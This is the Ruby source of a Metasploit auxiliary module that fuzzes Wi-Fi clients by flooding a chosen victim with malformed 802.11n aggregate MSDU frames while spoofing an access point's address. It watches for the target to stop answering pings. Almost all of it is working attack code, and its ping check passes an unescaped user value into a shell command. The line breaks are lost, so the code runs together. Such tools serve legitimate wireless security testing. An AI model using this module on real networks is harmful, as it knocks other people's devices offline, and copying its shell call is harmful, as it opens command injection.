## # $Id: $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## require 'msf/core' module Msf class Auxiliary::Dos::Wireless::FuzzAMSDU < Msf::Auxiliary include Exploit::Lorcon def initialize(info = {}) super(update_info(info, 'Name' => 'Wireless Aggregate MSDU Frame Fuzzer', 'Description' => %q{ This module sends out malformed aggregate MSDU frames, targeting 802.11n and pre-802.11n devices. It is intended for use in testing a client target connected to a Draft 802.11n 2.0 or 802.11n system. Specify the victim as the ADDR_DST parameter, and the AP address as ADDR_SRC. }, 'Author' => [ 'joswr1ght' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: $' )) register_options( [ OptString.new('ADDR_DST', [ true, "The MAC address of the target system",'FF:FF:FF:FF:FF:FF']), OptString.new('PING_HOST', [ false, "Ping the wired address of the target host"]), OptString.new('ADDR_SRC', [ true, "The MAC address of the impersonated system (AP)"]), ], self.class) end def ping_check 1.upto(3) do |i| x = `ping -c 1 -n #{datastore['PING_HOST']}` return true if x =~ /1 received/ if (i > 1) print_status("Host missed a ping response...") end end return false end def run srand(0) @@uni = 0 frames = [] open_wifi print_status("Sending corrupt frames...") while (true) frame = create_frame() if (datastore['PING_HOST']) if (frames.length >= 5) frames.shift frames.push(frame) else frames.push(frame) end 1.upto(10) do wifi.write(frame) if (not ping_check()) frames.each do |f| print_status "****************************************" print_status f.inspect end return end end else wifi.write(frame) end end end def create_frame mtu = 500 ies = rand(1024) src = eton(datastore['ADDR_SRC']) dst = eton(datastore['ADDR_DST']) seq = [rand(255)].pack('n') frame = "\x88" + # type/subtype "\x02" + # flags "\x00\x00" # duration dst + # dst src + # src src + # bssid seq + # seq "\x80\x00" + # QoS A-MSDU bit set dst + # DA src + # SA "\x00\x5a" + # MSDU length (96 bytes) "\xaa\xaa\x03\x00" + "\x00\x00\x08\x00" + # 802.2, embedded IP "\x45\x00\x00\x54\x00\x00" + "\x40\x00\x40\x01\xb6\xf2" + "\xc0\xa8\x01\x65\xff\xff" + "\xff\xff" + # IP packet, bcast dst "\x08\x00\xfd\x44" + "\x71\x72\x00\x0c" + # ICMP ping header "\x52\xbe\xb0\x47\x95\x33" + "\x06\x00\x08\x09\x0a\x0b" + "\x0c\x0d\x0e\x0f\x10\x11" + "\x12\x13\x14\x15\x16\x17" + "\x18\x19\x1a\x1b\x1c\x1d" + "\x1e\x1f\x20\x21\x22\x23" + "\x24\x25\x26\x27\x28\x29" + "\x2a\x2b\x2c\x2d\x2e\x2f" + "\x30\x31\x32\x33\x34\x35" + "\x36\x37" # ICMP payload (windows xp) frame << "\xff\xff\xff\xff\xff\xff" + # Next DA Rex::Text.rand_text(6) + # Next SA [rand(4096)].pack('n') + # MSDU Len Rex::Text.rand_text(1500 - frame.length) # MSDU return frame end end end